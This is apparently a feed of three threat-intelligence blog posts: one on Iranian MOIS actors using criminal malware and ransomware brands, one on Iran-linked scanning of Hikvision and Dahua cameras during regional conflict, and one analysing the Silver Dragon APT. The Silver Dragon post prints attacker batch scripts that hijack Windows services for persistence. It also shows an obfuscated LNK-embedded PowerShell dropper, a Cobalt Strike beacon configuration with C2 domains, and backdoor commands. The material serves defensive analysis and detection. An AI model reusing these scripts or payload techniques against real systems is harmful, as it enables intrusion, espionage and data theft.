Tsundere Botnet (a.k.a DinDoor)

The Tsundere Botnet was first uncovered in late 2025 and was later linked to MuddyWater. Large parts of its activity rely on Node.js and JavaScript scripts to execute code on compromised machines. In several instances observed in the wild, when the Node.js engine is detected, the botnet shifts to an alternative execution method using Deno, a runtime for JavaScript and TypeScript. Since Deno-based execution had not previously been associated with Tsundere, researchers linking this activity to MuddyWater designated this variant as DinDoor.

Given that two separate sources linked Tsundere to MuddyWater, one via a VPS and the other through vendor telemetry, it is likely that MuddyWater uses the botnet as part of its operations. Another overlap between DinDoor-related activity and known MuddyWater tradecraft is the use of rclone to access a Wasabi server, which traces back to an IP address previously associated with MuddyWater (18.223.24[.]218, linked to eb5e96e05129e5691f9677be4e396c88).

Castle Loader Connection (a.k.a FakeSet)

Another malware family recently linked to MuddyWater is FakeSet, which, according to our analysis, is a downloader used in recent infection chains delivering CastleLoader. CastleLoader operates as a Malware-as-a-Service offering used by multiple affiliates. Based on our understanding, the reported link between CastleLoader and MuddyWater stems from the use of a set of code-signing certificates, specifically under the Common Names “Amy Cherne” and “Donald Gay”. Certificates with these common names were also used to sign MuddyWater malware (“StageComp”), Tsundere Deno malware (“DinDoor”), and CastleLoader (“FakeSet”) variants.

In our assessment, this does not necessarily indicate that MuddyWater is a CastleLoader affiliate; rather, it suggests that both may have obtained certificates from the same source.

Iranian Qilin Affiliates

In October 2025, Israeli Shamir Medical Center was hit by a major cyber attack that was initially described as a ransomware incident. The attackers claimed to have stolen a large amount of data and demanded a ransom in exchange for not publishing it. Israeli officials said the attack did not affect hospital operations and patient care was not significantly disrupted. Still, some information appears to have been leaked, including limited email correspondence and certain medical data.

At first, the attack was presented as a ransomware incident linked to the Qilin group, but later Israeli assessments pointed much more directly to Iranian actors as the real force behind it. Qilin is known as a ransomware-as-a-service (RaaS) operation, meaning it provides ransomware infrastructure and tooling to outside partners or “affiliates” who actually carry out intrusions. In this case, the emerging picture was that the attackers were likely Iranian-affiliated operators working through the cyber criminal ecosystem, using a criminal ransomware brand and methods associated with the broader extortion market, while serving a strategic Iranian objective.

This attack did not occur in isolation. It appears to be part of a broader, sustained campaign by MOIS and Hezbollah to target Israeli hospitals, a pattern that has been evident since late 2023. The use of Qilin, and participation in its affiliate program, likely serves not only as a layer of cover and plausible deniability, but also as a meaningful operational enabler, especially as earlier attacks appear to have heightened security measures and monitoring by Israeli authorities.

Conclusion

The cases examined in this blog show that, for some Iranian actors, cyber crime is no longer just a cover for state-directed activity. Across these examples, the pattern is not limited to the appearance of criminal behavior, but includes the use of criminal malware, ransomware branding, and affiliate-style ecosystems in support of strategic objectives. This reflects a clear shift from simply imitating cyber criminals to actively leveraging the cyber crime ecosystem.

This shift matters because it delivers clear operational benefits. For MOIS-linked actors in particular, engagement with criminal tools and services enhances capabilities while complicating attribution and fueling confusion around Iranian activity. Taken together, the cases discussed here show that cyber crime has become not just camouflage, but a practical operational resource.

Indicators of Compromise

Handala Rhadmanthys Variants

aae017e7a36e016655c91bd01b4f3c46309bbe540733f82cce29392e72e9bd1f

Malware samples signed with suspicious certificates

sha256	Certificate Common Name	Certificate Thumbprint	Certificate Serial Number	Malware Family
077ab28d66abdafad9f5411e18d26e87fe43da1410ee8fe846bd721ab0cb52de	Amy Cherne	0902d7915a19975817ec1ccb0f2f6714aed19638	330007f1068f41bf0f662a03b500000007f106	FakeSet / CastleLoader
ddceade244c636435f2444cd4c4d3dc161981f3af1f622c03442747ecef50888	Amy Cherne	0902d7915a19975817ec1ccb0f2f6714aed19638	330007f1068f41bf0f662a03b500000007f106	FakeSet / CastleLoader
2b7d8a519f44d3105e9fde2770c75efb933994c658855dca7d48c8b4897f81e6	Amy Cherne	2087bb914327e937ea6e77fe6c832576338c2af8	330006df515a14fe3748416fe200000006df51	FakeSet / CastleLoader
64cf334716f15da1db7981fad6c81a640d94aa1d65391ef879f4b7b6edf6e7f1	Amy Cherne	21a435ecaa7b86efbec7f6fb61fcda3da686125c	330006e75231f49437ae56778a00000006e752	FakeSet / CastleLoader
74db1f653da6de134bdc526412a517a30b6856de9c3e5d0c742cb5fe9959ad0d	Amy Cherne	389b12da259a23fa4559eb1d97198120f2a722fe	330007d5443a7d25208ec5feb100000007d544	FakeSet / CastleLoader
94f05495eb1b2ebe592481e01d3900615040aa02bd1807b705a50e45d7c53444	Amy Cherne	389b12da259a23fa4559eb1d97198120f2a722fe	330007d5443a7d25208ec5feb100000007d544	FakeSet / CastleLoader
4aef998e3b3f6ca21c78ed71732c9d2bdcc8a4e0284f51d7462c79d446fbc7be	Amy Cherne	579a4584a6eef0a2453841453221d0fb25c08c89	33000700e919066fd9db11bac70000000700e9	FakeSet / CastleLoader
a4bd1371fe644d7e6898045cc8e7b5e1562bdfd0e4871d46034e29a22dec6377	Amy Cherne	d920ae0f8ea8b5bd42de49e01c6bbd4c2c6d0847	330007ebfbe75a64b52aaf4cb700000007ebfb	FakeSet / CastleLoader
64263640a6fdeb2388bca2e9094a17065308cf8dcb0032454c0a71d9b78327eb	Donald Gay	f8444dfc740b94227ab9b2e757b8f8f1fa49362a	3300072b29c3bf8403a6c15be2000000072b29	FakeSet / CastleLoader
a8c380b57cb7c381ca6ba845bd7af7333f52ee4dc4e935e98b48bb81facad72b	Donald Gay	9dcb994ea2b8e6169b76a524fae7b2d2dcd1807d	33000725fea86dd19e8571b26c0000000725fe	FakeSet / CastleLoader
24857fe82f454719cd18bcbe19b0cfa5387bee1022008b7f5f3a8be9f05e4d14	Donald Gay	b674578d4bdb24cd58bf2dc884eaa658b7aa250c	3300079a51c7063e66053d229b000000079a51	StageComp
a92d28f1d32e3a9ab7c3691f8bfca8f7586bb0666adbba47eab3e1a8faf7ecc0	Donald Gay	b674578d4bdb24cd58bf2dc884eaa658b7aa250c	3300079a51c7063e66053d229b000000079a51	StageComp
2a09bbb3d1ddb729ea7591f197b5955453aa3769c6fb98a5ef60c6e4b7df23a5	Amy Cherne	551bdf646df8e9abe04483882650a8ffae43cb55	330006e15e43401dbd9416e20e00000006e15e	DinDoor / Tsundere Deno

The post Iranian MOIS Actors & the Cyber Crime Connection appeared first on Check Point Research.

Key Findings

• During the ongoing conflict, we identified intensified targeting of IP cameras from two manufacturers starting on February 28, originating from infrastructure we attribute to Iranian threat actors.
• The targeting extends across Israel, Qatar, Bahrain, Kuwait, the UAE, and Cyprus – countries that have also experienced significant missile activity linked to Iran. On March 1st, we additionally observed camera-targeting activity focused on specific areas in Lebanon.
• We also observed earlier, more targeted activity against cameras in Israel and Qatar on January 14–15. These dates surround with Iran’s temporary closure of its airspace, reportedly amid expectations of a potential U.S. strike.
• Taken together, these findings are consistent with the assessment that Iran, as part of its doctrine, leverages camera compromise for operational support and ongoing battle damage assessment (BDA) for missile operations, potentially in some cases prior to missile launches. As a result, tracking camera-targeting activity from specific, attributed infrastructures may serve as an early indicator of potential follow-on kinetic activity.

Introduction

As highlighted in the Cyber Security Report 2026, cyber operations have increasingly become an additional tool in interstate conflicts, used both to support military operations and to enable ongoing battle damage assessment (BDA). During the 12-day conflict between Israel and Iran in June 2025, the compromise of cameras was likely used to support BDA and/or target-correction efforts.

In the current Middle East conflict, Check Point Research has observed intensified targeting of cameras beginning in the first hours of hostilities, including a sharp increase in exploitation attempts against IP cameras not only in Israel but also across Gulf countries: specifically the UAE, Qatar, Bahrain, and Kuwait, as well as similar activity in Lebanon and Cyprus. This activity originated from multiple attack infrastructures that we attribute to several Iran-nexus threat actors.

Notably, we also identified earlier activity exhibiting similar patterns, dated January 14, coinciding with the peak of anti-regime protests in Iran, a period during which Iran anticipated potential action from the United States and Israel and temporarily closed its airspace.

Findings

Check Point Research (CPR) continuously tracks infrastructure used by Iran-nexus threat actors.

Starting February 28, we observed a spike in targeting of IP cameras in several countries in the Middle East including Israel, UAE, Qatar, Bahrain, Kuwait and Lebanon, while also similar activity occurred against Cyprus.

The attack infrastructure we track combines specific commercial VPN exit nodes (Mullvad, ProtonVPN, Surfshark, NordVPN) and virtual private servers (VPS), and is assessed to be employed by multiple Iran-nexus actors.

Scanning activity we observed targets cameras such as Hikvision and Dahua and aligns with attempts to identify exposure to the vulnerabilities listed below. No attempts to interact with other camera vendors were observed from this infrastructure.

The popular devices of Hikvision and Dahua are targeted with the following vulnerabilities:

CVE	Vulnerability
CVE-2017-7921	An improper authentication vulnerability in Hikvision IP camera firmware
CVE-2021-36260	A command injection vulnerability in the Hikvision web server component
CVE-2023-6895	An OS command injection vulnerability in Hikvision Intercom Broadcasting System
CVE-2025-34067	An unauthenticated remote code execution vulnerability in Hikvision Integrated Security Management Platform
CVE-2021-33044	An authentication bypass vulnerability in multiple Dahua products

Patches are available for all of the vulnerabilities listed above.

As a case study, we conducted a deep dive into two of the CVEs listed above – CVE-2021-33044 and CVE-2017-7921 – and examined exploitation attempts originating from operational infrastructure we attribute to Iran, observed since the beginning of the year.

Waves of activity against Israel:

The spikes in this activity are closely aligned with geopolitical events around the same time:

• January 14-15 – While internal anti-regime protests in Iran peaked, Iranian officials and state media portrayed the unrest as a foreign-backed plot by Iran’s adversaries, including the United States and Israel and also closed its airspace. At the same time we also observe a wave of scans of cameras in the Iraqi Kurdistan.
• January 24 – The U.S. Central Command (CENTCOM) commander visited Israel and met with the Israel Defense Forces’ chief of staff amid heightened tensions.
• Beginning of February – Iran’s leadership was increasingly worried about a possible U.S. strike; Iranian/IRGC-linked messaging warned a strike could trigger a wider regional war.

Waves of activity against Qatar:

Waves of activity against Bahrain:

Waves of activity against Kuwait:

Waves of activity against United Arab Emirates:

Waves of activity against Cyprus:

Waves of activity against Lebanon:

We observed similar targeting patterns during the 12-day war between Israel and Iran in June 2025, likely to support battle damage assessment (BDA) and/or targeting correction. One of the best-known cases occurred when Iran struck Israel’s Weizmann Institute of Science with a ballistic missile and had reportedly taken control of a street camera facing the building just prior to the hit

Recommendations for Defenders:

• Eliminate public exposure: remove direct WAN access to cameras/NVRs; place them behind VPN or a zero-trust access gateway; block inbound port-forwards.
• Enforce strong credentials: change default passwords, enforce unique credentials.
• Patch management: keep cameras/NVR firmware and management software updated – updates from the manufacturers are available; remove/replace end-of-life devices that no longer get security fixes.
• Network segmentation: isolate cameras on a dedicated VLAN with no lateral access to corporate/OT networks; tightly control outbound traffic (only to required update/cloud endpoints).
• Monitoring & detection: repeated login failures, unexpected remote logins; cameras initiating unusual outbound connections.

The post Interplay between Iranian Targeting of IP Cameras and Physical Warfare in the Middle East appeared first on Check Point Research.

Key Findings

• Check Point Research (CPR) is tracking Silver Dragon, an advanced persistent threat (APT) group which has been actively targeting organizations across Europe and Southeast Asia since at least mid-2024. The actor is likely operating within the umbrella of Chinese-nexus APT41.
• Silver Dragon gains its initial access by exploiting public-facing internet servers and by delivering phishing emails that contain malicious attachments. To maintain persistence, the group hijacks legitimate Windows services, which allows the malware processes to blend into normal system activity.
• As part of its recent operations, Silver Dragon deployed GearDoor, a new backdoor which leverages Google Drive as its command-and-control (C2) channel to enable covert communication and tasking over a trusted cloud service. In addition, the group deployed two additional custom tools: SSHcmd, a command-line utility that functions as a wrapper for SSH to facilitate remote access, and SliverScreen, a screen-monitoring tool used to capture periodic screenshots of user activity.

Introduction

In recent months, Check Point Research (CPR) has been tracking a sophisticated, Chinese-aligned threat group whose activity demonstrates operational correlation with campaigns previously associated with APT41. We have designated this activity cluster as Silver Dragon. This group actively targets organizations in Southeast Asia and Europe, with a particular focus on government entities. Silver Dragon employs a range of initial access techniques, primarily relying on the exploitation of public facing servers, and more recently, email-based phishing campaigns.

To establish the initial foothold, the group deploys Cobalt Strike beacons to gain an early foothold on compromised hosts. In most observed cases, it then conducts command-and-control (C2) communication through DNS tunneling, enabling it to evade certain network-level detection mechanisms.

During our research, we identified several custom post-exploitation tools the group uses, including a backdoor that leverages Google Drive as its C2 channel, which enables stealthy communication over a widely trusted cloud service.

In this blog, we provide an overview of the observed campaigns, take a closer look at the Silver Dragon’s TTPs (Tactics, Techniques, and Procedures), and examine the tools used across their operations.

Overview – Infection Chains

In our analysis, we identified three main infection chains that Silver Dragon uses. In every case we observed, the chain ultimately delivered Cobalt Strike as the final payload. The group also appears to maintain its own custom malware, such as GearDoor, for exfiltrating information via Google Drive.

Infection chains:

• AppDomain hijacking
• Service DLL
• Email phishing campaign

The first two infection chains, AppDomain hijacking and Service DLL, show clear operational overlap. They are both delivered via compressed archives, suggesting their use in post‑exploitation scenarios. In several cases, these chains were deployed following the compromise of publicly exposed vulnerable servers. Both chains rely on the delivery of a RAR archive containing an installation batch script, likely executed by the attackers, which indicates a shared delivery mechanism. We observed additional overlaps in the Cobalt Strike C2 infrastructure, further strengthening the linkage between the two chains.

Notably, some files associated with both infection chains were uploaded to VirusTotal by the same submitter, which suggests that the chains were likely deployed in parallel, potentially targeting different machines within the same compromised network.

The third infection chain was used in a phishing campaign with a malicious LNK file as an attachment, which we linked to Silver Dragon based on the use of similar loaders, which we refer to later as BamboLoader.

AppDomain Hijacking

This chain, deployed by abusing AppDomain Hijacking (T1574.014). A very similar infection chain was observed by the Italian National Cybersecurity Agency (ACN) following the ToolShell exploitation wave in July 2025. The analyzed instance of this chain involves a RAR archive with the following components:

• A batch installation script
• An XML configuration file (dfsvc.exe.config)
• A malicious .NET DLL (ServiceMoniker.dll) – MonikerLoader
• An encrypted module (ComponentModel.dll) – second-stage loader
• An encrypted CobaltStrike payload with the .sdb extension

In this case, the installation batch script copies the config file and the dll files to C:\Windows\Microsoft.NET\Framework64\v4.0.30319, and the shellcode file to C:\Windows\AppPatch.

The dfsvc.exe.config file overwrites the AppDomain entry point, redirecting execution to MonikerLoader. By placing this malicious config file in the same directory as the legitimate Windows utility dfsvc.exe, it is ensures that MonikerLoader is loaded every time dfsvc.exe is executed, leveraging a technique known as AppDomain hijacking. The batch script then deletes and recreates the legitimate DfSvc service to force a new execution of dfsvc.exe, thereby triggering the malicious loading sequence.

copy ComponentModel.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ComponentModel.dll /y
copy ServiceMoniker.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319 /y
copy backup.sdb C:\Windows\AppPatch /y
copy dfsvc.exe.config C:\Windows\Microsoft.NET\Framework64\v4.0.30319 /y

sc delete DfSvc
sc create DfSvc binPath= "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe" start= auto obj= LocalSystem DisplayName= "Microsoft Manages ClickOnce applications and updates Service"
sc description DfSvc "Microsoft .NET Framework ClickOnce Deployment Service"
sc start DfSvc

In a similar attack, the group employed the same execution technique by abusing tzsync.exe, a legitimate Windows binary responsible for the Time Zone Synchronization service.

MonikerLoader

MonikerLoader is a .NET-based loader whose strings are entirely obfuscated using a Brainfuck-based string decryption routine. Its classes and methods are deliberately named with random, legitimate-looking identifiers to hinder static analysis. MonikerLoader’s primary purpose is to decrypt and execute a second-stage loader directly in memory.

Execution begins with the loader reading the ComponentModel.dll file and decrypting its contents using a simple ADD-XOR routine. The decrypted module is then reflectively loaded into memory. In older variants of MonikerLoader, the second-stage payload was not stored as a file; instead, the encrypted data was retrieved from the Windows Registry under HKLM\Software\Microsoft\Windows.

The second-stage loader closely mirrors MonikerLoader’s behavior and reuses the same string obfuscation and decryption mechanisms. This stage is responsible for configuring the malware’s service-based persistence and for decrypting and loading the final payload.

To execute the final stage, the loader allocates a read-write-execute (RWE) memory region, copies the decrypted shellcode into that region, and executes it within the context of the running process. We identified the final payload as a Cobalt Strike beacon.

Service DLL deployment

This infection chain reflects a more minimal, straightforward approach. It is delivered in an archive with the following components:

• A batch installation script
• A shellcode DLL loader we named BamboLoader
• Encrypted CobaltStrike shellcode file with a font extension style (.fon or .ttf)

After the archive is extracted and the batch script is executed, it copies the BamboLoader DLL and the encrypted shellcode payload to a specific location. In most observed cases, the DLL is placed in C:\Windows\System32\wbem, while the encrypted shellcode file is written to C:\Windows\Fonts. Next, the batch script registers the BamboLoader to run as a Windows service by manipulating the registry using reg.exe. The script hijacks legitimate Windows services by first stopping and deleting the original service, then recreating it to execute the DLL under the context of a service.

sc stop "bthsrv"
sc delete "bthsrv"
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost" /v "bthsrv" /f
copy %1 "%dll_path%" /y
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost" /v "bthsrv" /t REG_MULTI_SZ /d "bthsrv" /f
sc create "bthsrv" binPath= "%SystemRoot%\system32\svchost.exe -k bthsrv" type= share start= auto error= ignore DisplayName= "Bluetooth Update Service"
sc description "bthsrv" "Bluetooth Update Service"
reg add "HKLM\SYSTEM\CurrentControlSet\Services\bthsrv" /v "FailureActions" /t REG_BINARY /d "0000000000000000000000000300000014000000010000000000000001000000000000000100000000000000" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\bthsrv\Parameters" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\bthsrv\Parameters" /v "ServiceDll" /t REG_EXPAND_SZ /d "%dll_path%" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\bthsrv\Parameters" /v "ServiceMain" /t REG_SZ /d "TraceGetIMSIByIccID" /f
net start "bthsrv"

We observed the following services being abused for persistence:

Service Name	Service Description
wuausrv	Windows Update Service
bthsrv	Bluetooth Update Service
COMSysAppSrv	COM+ System Application Service
DfSvc	Microsoft .NET Framework ClickOnce Deployment Service
tzsync	Windows Updates timezone information Service

BamboLoader

BamboLoader is a x64 binary written in C++ and is heavily obfuscated, employing control flow flattening and inserting junk code throughout its operations to hinder both static and dynamic analysis. The loader reads the staged shellcode payload from disk, decrypts it using RC4 with a hardcoded key, and then decompresses the resulting data with the LZNT1 algorithm via the RtlDecompressBuffer Windows API function. The decrypted and decompressed payload is then injected into a Windows process, such as taskhost.exe, which is created as a child process. The specific target binary is configurable within BamboLoader. Notably, the injected shellcode applies an additional layer of single-byte XOR encryption before decrypting the final stage. In the observed samples, the resulting payloads were Cobalt Strike beacons.

All files contained within the initial archive shared an identical creation timestamp, which strongly suggests the use of an automated payload generation framework. Supporting this assumption, we recovered a log file from one archive that appears to document per-attack configuration parameters, including file paths, service names, encryption keys, and injected processes.

[*] Service DLL Path: C:\Windows\System32\wbem\WinSync.dll
[*] Service Name: bthsrv
[*] Display Name: Bluetooth Update Service
[*] Service Entry Point: TraceGetIMSIByIccID
[+] Encrypted Payload: C:\Windows\Fonts\OLDENGL.fon
[+] RC4 Key: rOPdyiwITK
[+] Injected Process: taskhostw.exe {6C741103-79B6-11F0-ACB2-38002560F520}
[+] Installer BAT: usFUk.bat

Phishing Activity

In addition, we observed the group conducting a phishing campaign that appears to primarily target Uzbekistan. As part of this campaign, victims received phishing emails containing weaponized LNK attachments. These shortcut files embed the next stage payload directly within their binary structure, resulting in files exceeding 1 MB in size.

Upon execution, the LNK file launches cmd.exe, which in turn invokes PowerShell. The embedded PowerShell code locates the malicious LNK based on its file size, reads its raw byte contents, and extracts multiple embedded payloads by slicing predefined byte ranges. The extracted components are then written to the system’s temporary directory and executed, completing the delivery of the next-stage payload.

%windir%\system32\cmd.exe /c pow%comspec:~-1%rshell -windowstyle hidden -c "
$lnkpath = (Get-ChildItem -Filter *.lnk | Where-Object {$_.Length -eq 1413555} | Select-Object -First 1).FullName;
$file = [System.IO.File]::ReadAllBytes($lnkpath);
$directory = $env:TEMP;
[System.IO.File]::WriteAllBytes((Join-Path $directory '§±§Ú§ã§î§Þ§à§®§£§¥.pdf'), $file[4184..663602]);
[System.IO.File]::WriteAllBytes((Join-Path $directory 'GameHook.exe'), $file[663603..823554]);
[System.IO.File]::WriteAllBytes((Join-Path $directory 'graphics-hook-filter64.dll'), $file[823555..1032962]);
[System.IO.File]::WriteAllBytes((Join-Path $directory 'simhei.dat'), $file[1032963..1413554]);
ii (Join-Path $directory '§±§Ú§ã§î§Þ§à§®§£§¥.pdf');
ii (Join-Path $directory 'GameHook.exe');
"

The PowerShell payload drops the following files:

• Decoy document
• GameHook.exe – Legitimate executable abused for DLL sideloading
• graphics-hook-filter64.dll – BamboLoader DLL
• simhei.dat – Encrypted CobaltStrike payload

The Decoy document is opened and the legitimate binary is executed in the background to sideload the BamboLoader.

Final Payload – CobaltStrike

We identified the final payloads loaded by both BamboLoader and MonikerLoader as Cobalt Strike beacons. Across the observed samples, we identified at least three distinct watermark values, all of which are commonly associated with cracked versions of the Cobalt Strike framework. The majority of the observed implants were configured to communicate with their C2 infrastructure via DNS tunneling, while others relied on HTTP-based communication, typically with servers protected behind Cloudflare. In addition, we identified implants configured to communicate with other compromised hosts within the same network over SMB.

BeaconType                       - Hybrid HTTP DNS
SleepTime                        - 99000
MaxGetSize                       - 1405005
Jitter                           - 51
MaxDNS                           - 252
PublicKey_MD5                    - 9d3f61dcaba90db2ede1c1906a80ace2
C2Server                         - ns1.onedriveconsole[.]com,/d/msdownload/update/2021/11/33002773_x86_b78cd82ceba723.cab,ns2.onedriveconsole.com,/d/msdownload/update/2021/11/33002773_x86_b78cd82ceba723.cab,ns1.exchange4study.com,/d/msdownload/update/2021/11/33002773_x86_b78cd82ceba723.cab
DNS_Idle                         - 104.21.51.8
DNS_Sleep                        - 248
HttpGet_Verb                     - GET
HttpPost_Verb                    - POST
Spawnto_x86                      - %windir%\syswow64\dllhost.exe
Spawnto_x64                      - %windir%\sysnative\dllhost.exe

Post-Exploitation Tools

SilverScreen

SilverScreen, written in .NET, is a covert screen-monitoring malware designed to operate silently within an active user session while maintaining a minimal system footprint. Also called ComponentModel.dll, which mirrors naming conventions observed in some MonikerLoader variants, SilverScreen is also likely executed through AppDomain hijacking.

When executed, the implant ensures single-instance execution and, if initially launched under the SYSTEM account, relaunches itself within the currently active desktop session using token impersonation.

The malware continuously captures screenshots across all connected displays, including precise cursor positioning, providing operators with contextual insight into user behavior and interactions. To reduce noise and storage requirements, SilverScreen employs a change-detection mechanism based on grayscale thumbnail comparisons, capturing full-resolution images only when significant visual changes are detected. This selective approach enables long-term monitoring while limiting disk usage and lowering the likelihood of detection.

Captured images are compressed using a layered approach: JPEG encoding followed by GZIP compression and then appended to a local data file in a structured format suitable for later retrieval or exfiltration. The implant operates in a persistent loop with built-in file size thresholds, suggesting integration with a separate component responsible for data collection or exfiltration.

SSHcmd

This component is a command-line SSH utility implemented in .NET that provides remote command execution and file transfer capabilities over SSH. Leveraging the Renci.SshNet library, the tool accepts connection parameters (IP address, port, username, and password) directly via command-line arguments, enabling operators to authenticate non-interactively to remote systems.

The program supports multiple operational modes, including direct command execution, interactive TTY sessions, and bidirectional file transfer (upload and download). Commands can be in either plaintext or Base64-encoded form, a feature that can be used to evade basic command-line inspection or logging mechanisms. In TTY mode, the tool establishes an interactive shell session, which allows more complex command execution and operator interaction.

GearDoor

GearDoor is a .NET backdoor that communicates with its C2 infrastructure via Google Drive. The malware shares notable code similarities with MonikerLoader samples and uses the same Brainfuck-based string obfuscation technique.

Configuration data and all file-based communication with Google Drive are encrypted using the DES algorithm, with the encryption key derived from the first 8 characters of the MD5 hash of a hardcoded key string.

Each infected system is assigned a unique identifier generated from a SHA-256 hash of the machine name. The resulting hash is formatted into a GUID-like string (split using hyphens) and is used to create a dedicated folder in Google Drive which serves as the primary communication channel between the beacon and the operator.

GearDoor attempts to retrieve three configuration values from the Windows Registry. If any of these values are missing, the malware falls back to hardcoded defaults embedded in the binary.

Config	Registry Key	Default
Google Account	HKLM\Software\Microsoft\Account	tools88@wise-baton-452610-i5.iam.gserviceaccount.com
Beacon Interval	HKLM\Software\Microsoft\Time	600s
Credential File Path	HKLM\Software\Microsoft\Path	C:\ProgramData\Microsoft\Diagnosis\events.rbs

After successfully authenticating to the Google Drive account, GearDoor uploads a heartbeat file. The file name consists of 10 random alphanumeric characters followed by the .png extension. The heartbeat content is a single pipe-delimited string containing the following information:

MachineGUID |
Hostname |
Username |
InternalIP |
OSVersion |
MachineId |
<Encrypted: drives + C:\ listing> |
SleepTime |
ProcessId |

The Google Drive-based C2 architecture revolves around a single folder named after the infected machine’s identifier. All communication is file-based; the malware enumerates every file in the drive and determines the appropriate action solely based on the file’s extension. Each file extension serves as a tasking indicator, defining both the operation to perform and the execution logic applied by the malware. After a task is performed, the associated file is deleted from the drive, and the malware uploads an output file containing the task results.

Operation set	C2 Uploads (input)	Beacon Uploads (output)
Heartbeat file		.png
File management commands	.pdf	.db
System commands	.cab	.bak
Payload delivery	.rar	.bak
Plugin execution	.7z	.bak

.png – Heartbeat Files:

Files with the .png extension are treated as heartbeat artifacts. The malware verifies whether the file name matches the most recent heartbeat it uploaded, and if not, it deletes the file.

.cab – Command Execution: The .cab extension delivers interactive commands to the beacon. Command strings are encrypted within the file contents, and when commands require arguments, they are provided as space-separated values within the same file. Although many commands are named after standard Windows utilities (e.g., whoami, ipconfig), none of them rely on external binaries. Instead, all functionality is implemented using native .NET APIs.

The table below shows the supported commands:

Command	Arguments	Description
download	<file_path>	Upload a file form machine to the drive.
steal_token	<pid>	Impersonates the security token of the target process ID.
revert	None	Reverts impersonation and returns to the original security context.
revert2self	None	Alias for revert.
help	None	Displays the built-in help/usage information.
whoami	None	Returns the current user context under which the implant is running.
ipconfig	None	Displays network interface configuration of the host.
netstat	None	Displays active network connections and listening ports.
ps	None	Lists running processes on the system.
mkdir	<dir_path>	Creates a directory at the specified path.
cd	<dir_path>	Changes the current working directory.
cd	None	Displays the current working directory.
pwd	None	Prints the current working directory.
dir	<dir_path>	Lists files and folders in the specified directory.
dir	None	Lists files and folders in the current directory.
rm	<file_path>	Deletes the specified file or directory.
sleep	None	Displays the current beacon sleep interval (in seconds).
sleep	<seconds>	Sets the beacon sleep interval to the specified number of seconds.
run	<command>	Executes a command directly on the system and returns its output.
shell	<command>	Executes a command via cmd.exe /c (Windows shell execution).
exec	<command>	Executes a command via a scheduled task mechanism.
exit	None	Immediately terminates the current implant process.

For example, the download command exfiltrates files from the infected host to Google Drive. The command accepts a local file path as an argument. Upon execution, the malware encrypts the specified file and uploads it to the Drive using the .zip extension. In addition to the exfiltrated file, the beacon uploads a second file containing the command execution status with the .bak file extension.

Reviewing the output of the help command indicates the tool is actively evolving. Some commands appear to have been removed while new capabilities were added, suggesting ongoing development and testing.

usage:
whoami
ipconfig
netstat
ps
mkdir
cd
pwd
dir <path>
rm <filepath/folderpath>: Delete file/folder
sleep <seconds>: Set fetch files sleep time
sleep: Get current sleep time
exit: Exit process
steal_token <pid> : Steal token by PID
revert2self: Revert to System 
run <command>: Directly run <command>
shell <command>: cmd /c <command>
exec <command>: schedule run
upload <localpath>
download <remotepath>
assembly <exe_path> <args>

.rar – File Download & Self-Update

Files with the .rar extension are treated as downloaded payloads. The malware downloads, decrypts, and writes these files to disk using their original name, but without the .rar extension. It then responds with a status file using the .bak extension to indicate whether the operation succeeded. In some versions, if the .rar file is named wiatrace.bak, GearDoor recognizes it as a self-update package: the payload is dropped at C:\Windows\Debug\wiatrace.bak, its binary version is compared to the current GearDoor version, and if there is a mismatch, the binary is replaced and the malware process restarts.

Files with the .7z extension implement plugin (execute-assembly) functionality. Each .7z file contains an encrypted .NET assembly binary, and the execution arguments are both encoded and encrypted within the filename. To maintain and track plugins in memory, the malware utilizes a small dictionary table, storing each plugin under a key that corresponds to the length of the assembly’s binary. If a plugin is not already present in memory, the malware adds it to the table and executes it directly from memory.

.pdf – File Management Commands

The .pdf extension delivers basic file system management commands to the malware. It supports three types of directory operations: list (listing the contents of a directory), mkdir (creating a new directory), and delete (removing all files within a specified directory). After executing one of these commands, the malware responds with a .db file that reports the result of the requested operation.

Victimology

Silver Dragon primarily targets high-profile organizations, particularly within the government sector. Geographically, the majority of identified victims are located in Southeast Asia, with more limited but still notable activity observed in Europe.

Attribution

Silver Dragon is assessed with high confidence to be linked to a Chinese-nexus threat actor, likely operating within the umbrella of APT41, based on multiple converging indicators.

Among those, most notably, we identified strong tradecraft similarities between the installation script used to deploy BamboLoader and a post-exploitation installation scripts previously attributed to APT41 and publicly reported by Mandiant in 2020. In both cases, the operators deploy a DLL-based loader by registering it as a Windows service through an almost identical sequence of commands. The workflow follows a consistent structure: defining the DLL path, service name, display name, and description; stopping and deleting any pre-existing service instance; copying the payload into C:\\Windows\\System32; and finally recreating and starting the newly configured service. Both scripts also use service and display names that impersonate legitimate Windows components.

A retrospective search for structurally similar installation scripts in public malware repositories returned only these two distinct subsets of closely matching examples, further reinforcing the uniqueness of this implementation pattern.

In both operations, the loaded shellcode ultimately deployed a version of a Cobalt Strike Beacon. Notably, the Beacon samples shared the same cracked-version watermark, and in several instances command-and-control communications were conducted over DNS tunneling.

Additionally, the decryption mechanism used by BamboLoader consists of a multi-stage shellcode decryption chain involving RC4 decryption followed by LZNT1 decompression via the Windows API RtlDecompressBuffer. This specific sequence is a well-established routine frequently observed in shellcode loaders attributed to Chinese nexus APT activity.

Finally, metadata analysis across multiple samples revealed compilation and file-creation timestamps that consistently align with UTC+8 (China Standard Time). While timestamp analysis alone is not conclusive, the repeated temporal alignment across independent samples provides further contextual support for a Chinese-nexus operational origin.

Conclusion

This report details the operations of Silver Dragon, a sophisticated APT group assessed to be Chinese nexus and targets high-profile organizations in Southeast Asia and Europe, with a particular emphasis on government entities. Silver Dragon primarily gains initial access by exploiting public-facing servers but was also observed conducting phishing campaigns.

Post-exploitation, the group leverages custom shellcode loaders and Cobalt Strike to establish persistence and maintain a foothold in compromised environments. Notably, we identified GearDoor, a novel backdoor which utilizes Google Drive as C2 channel. This approach not only evades traditional network defenses but also provides flexible and resilient infrastructure for ongoing operations. In addition, the group’s toolkit includes SilverScreen, a covert screen-monitoring implant, and SSHCmd, a lightweight SSH-based utility that enables remote command execution and file transfer, demonstrating a broad and versatile post-exploitation capability.

